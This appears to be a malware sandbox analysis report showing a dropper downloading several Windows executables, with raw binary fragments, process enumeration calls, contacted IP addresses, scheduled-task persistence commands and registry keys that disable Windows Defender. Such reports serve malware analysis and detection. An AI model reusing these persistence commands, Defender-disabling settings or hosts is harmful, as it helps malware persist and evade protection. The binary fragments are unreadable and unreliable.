ÌÌÌÌÌÌÌÌÌé[ª ÌÌÌÌÌÌÌÌÌÌÌHƒì(E3ÀH 2îAPèy` Hƒ=1îH‰2îv*HÇH‹ "îL‹îHƒÁIƒèt IÁà3Òè¾ H wIHƒÄ(éÖ ÌÌÌÌÌÌÌÌÌÌÌÌÌÌHƒì(E3ÀH ¢í3Òè ` H „IH‰¥íHƒÄ(éœ ÌÌÌÌHƒì(H ½íèàÇ H ÐíèÓÇ ÆäíH …IHƒÄ(éd ÌÌÌÌÌÌÌÌÌÌÌÌHƒì(H Ííè€ H ðíès ÆîH ÅIHƒÄ(é
request_handle: 0x00cc0024
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@躴 Í!¸LÍ!This program cannot be run in DOS mode. $uÀ)1¡GV1¡GV1¡GVg:V%¡GVg*Vh¡GVò®V0¡GVg)V¡GVò®V6¡GV1¡FVR¡GVg5V0¡GVg?V0¡GVRich1¡GVPELlö|aà À`%Ð@@'…ˆõP0°
request_handle: 0x00cc0034
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@躴 Í!¸LÍ!This program cannot be run in DOS mode. $PELSY»^à  \T p@вä€ܪd`˜iÀq@–@pl.text [\ `.rdata CpD`@@.dataďÀ¤@À.lileziwrP¼@@.rsrc˜i`jÀ@@Áà‰Ã3D$‰Â3D$®6ïÆÃÃU‹ìì( ¡ÓAƒeü‰Eä¡ÓAV‹3W‹{‰E܍EüÇEà¹y7žèÃÿÿÿƒEür=l*BÈu.h<•A…ØóÿÿPÿ`pA3ÀPPPÿXpAjj…ØûÿÿPÿ\pA¡ÓA‰Eè¡ ÓA‰EØÇEì ÇEôƒEô‹ÆMøèCÿÿÿ‹Eø‹l*BEèú©u Çh*B@.ëíúëuƒ%TèA‹MüÎQÇd*B.ÎP‘èÿÿÿ‹Mô‰Eø‹ÆÓèEØ3Eø+øƒú ujÿ4pA%»RÀ]‹ÇMøèÓþÿÿ‹M܋ÇÁè‰EðEðèÝþÿÿ‹EüÇP‹EøEäè¾þÿÿ‰EøP‹EðMøè¦þÿÿƒ%PèA+uø‹Eà)EüÿMì…/ÿÿÿ‰{_‰3^ÉÃU‹ì¡l*B‹ døAìVÁè3ö;ÆvbSW‹Ù‹ø=l*Bé uCÿpAVEüPV…üûÿÿPVÿ0pAV…ü÷ÿÿPVÿTpAVVÿ@pAVVhH•Ah•AÿDpAè&þÿÿƒÃOu¦_[^ÉÃU‹ìQ‹\>B3ÉV‹5døA9 l*Bv‰Uü¸;- Eü‹EüŠˆ1A; l*Brã^ÉÃÿ5l*BjÿPpA£døAÃ3ÀŠˆè•AˆˆÈãA@„ÉuïÃj@hÿ5l*Bjÿ<pA£døAÃU‹ììSV3ö=l*B W‹=hpAuVVÿdqAÿuüVÿ,pAVÿ$pAVVÿ×Vè¯Ç$) hêè^hܕAhà•AèºVè>VVVèMÙîƒÄÝT$Ý$è˃ÄÝ؋ĉ0‰pèúÝØVVèƒÄ3Ûÿ(pAûR }VVÿ×VVVVÿpAû5  Cû’u™^|ÓèþþÿÿhÈãAÿLpAhø•AP£`*Bÿ8pA£\*BèÄþÿÿèçþÿÿ¡ÜÓA£\>Bèuþÿÿ3ÿ95l*Bv)ƒ=l*BDuVEüPVVVÿ0pAVVVÿ pAG;=l*Br×3ÿ¡l*Bǃø^u.V…üûÿÿPVÿHpAV…ü÷ÿÿPVh–AVVÿdpAVVVÿpAG
request_handle: 0x00cc003c
1 1 0

InternetReadFile

 buffer: MZPÿÿ¸@º´ Í!¸LÍ!This program must be run under Win32 $7PEL^B*à žÐø¥°@Ð@@ÐP (¿ðCODE0ž `DATAP°¢@ÀBSSÀ¦À.idataP Ð ¦@À.tlsà°À.rdatað°@P.relocÄ@P.rsrc(¿À²@P@è@P string<@m@Ä)@¬(@Ô(@)@ $)@Free0)@ InitInstanceL)@CleanupInstanceh(@ ClassTypel(@ ClassName€(@ ClassNameIs¨(@ ClassParentÀ)@ ClassInfoø(@ InstanceSize°)@ InheritsFromÈ)@Dispatchð)@ MethodAddress<*@ MethodNamex*@ FieldAddressÄ)@DefaultHandler¬(@ NewInstanceÔ(@ FreeInstanceTObject@Í@ÿ% Ñ@‹Àÿ%Ñ@‹Àÿ%Ñ@‹Àÿ%Ñ@‹Àÿ%Ñ@‹Àÿ% Ñ@‹Àÿ%Ñ@‹Àÿ%(Ñ@‹Àÿ%Ñ@‹Àÿ%Ñ@‹Àÿ%üÐ@‹Àÿ%øÐ@‹Àÿ%ôÐ@‹Àÿ%ðÐ@‹Àÿ%ìÐ@‹Àÿ%èÐ@‹Àÿ%äÐ@‹Àÿ%àÐ@‹Àÿ%ÜÐ@‹Àÿ%ØÐ@‹Àÿ%ÔÐ@‹Àÿ%@Ñ@‹Àÿ%<Ñ@‹Àÿ%8Ñ@‹Àÿ%4Ñ@‹Àÿ%0Ñ@‹Àÿ%ÐÐ@‹Àÿ%ÌÐ@‹Àÿ%ÈÐ@‹Àÿ%ÄÐ@‹Àÿ%ÀÐ@‹Àÿ%¼Ð@‹Àÿ%¸Ð@‹Àÿ%´Ð@‹ÀSV¾8Ä@ƒ>u:hDjè¨ÿÿÿ‹È…Éu3À^[á4Ä@‰‰ 4Ä@3ҋÂÀDÁ‹‰‰Bƒúduì‹‹‰^[Љ‰@ËÀSV‹ò‹Øèÿÿÿ…Àu3À^[ˉP‹V‰P ‹‰‰X‰B‰°^[ËP‹‰ ‰Q‹8Ä@‰£8Ä@ÃSVWUQ‹ñ‰$‹è‹]‹$‹‰‹P‰V‹;‹C‹ÐS ;u‹Ãè·ÿÿÿ‹C‰‹C Fë‹V;Âu ‹Ãèšÿÿÿ‹C F‹ß;ëu‹֋ÅèUÿÿÿ„Àu3À‰Z]_^[Í@SVWUƒÄø‹Ø‹û‹2‹C;ðrl‹ÎJ‹èk ;Íw^;ðu‹BC‹B)C ƒ{ uD‹Ãè5ÿÿÿë;‹ ‹r΋ø{ ;Ïu)s ë&‹ J‰ $+ù
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELMfuÕà" 0"¼Ž@ `@ @ @…4@W`h¸  H.text”  " `.rsrch¸`º$@@.reloc Þ @Bp@H¼¤ƒ”I8u@B9o0é1 $:;QͶ¶ƒÛë ‘2þ°œ8Y$ñ·¥ÙÑmi–g‹ :®Þ‚p=q12|ù®a¼NoÑ¢‰e’Ðû½éžáÎßaH_ØTÄYaBµx<zÍ¿.%îÏ>«‰J ½;*(Iÿ*âT ˜º IááøüXLÑz֊È‹Ð•<'dBÉVOÔ@Þ~FMζôuÆ‰ùÇ»ÚÎiÓ‡…ýB÷¡³üa‹ŸéåÄË× î›"iu2ãÂçhåùkµ>Xíëøš [+¿è^ŽŠŒÊ1ÔC”“òkÏ_¸ \¸ì¤Os:äDÉówj5ÌΒÅ#e(+µ2ON»«b!NÓ?aÏ°gÒÑÑMÓv§Ä6‘µ_œ…'/d6tʚ¼µ$¯æä´ee5öéJ®éwæâǛeáîôXèêT†É¼‚jïí(Êîv·#}2Þt(ĨŒëÈ[K(ITÍ-bÎ4£ÂA¤mõ˜ƒËÝ õȨZêg fڐ¦”’ªDøl@J]e>Þ)‘¾ûwŽD¥v]¡×‡†Ýû¨4+7õ
request_handle: 0x00cc000c
1 1 0
process ww_testll_0211_single.exe
process zz_8wjnwjcywe8dtxxwfai7o.exe
process egqradmp6vvhibhfuato690f.exe
process 301ty1t7qg8_zdcv75dgjbhh.exe
Time & API Arguments Status Return Repeated

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: eg吐眞
process_identifier: 2488
0 0
cmdline schtasks /create /f /RU "test22" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
cmdline schtasks /create /f /RU "test22" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
host 212.192.241.62
host 45.133.1.107
host 45.133.1.182
cmdline schtasks /create /f /RU "test22" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
cmdline schtasks /create /f /RU "test22" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
process ww_testLL_0211_single.exe useragent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
process ww_testLL_0211_single.exe useragent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
process 82YG_xkSvDww7zcrD21MLhC8.tmp useragent InnoDownloadPlugin/1.5
cmdline schtasks /create /f /RU "test22" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
cmdline schtasks /create /f /RU "test22" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableRoutinelyTakingAction
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection
dead_host 192.168.56.103:49268
dead_host 192.168.56.103:49290
dead_host 192.168.56.103:49227